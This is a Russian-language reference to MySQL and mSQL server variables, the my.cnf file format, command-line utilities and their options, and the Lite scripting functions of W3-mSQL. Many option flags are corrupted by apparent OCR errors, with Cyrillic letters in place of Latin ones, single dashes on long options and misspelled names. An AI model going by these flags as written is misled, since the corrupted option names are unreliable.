    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

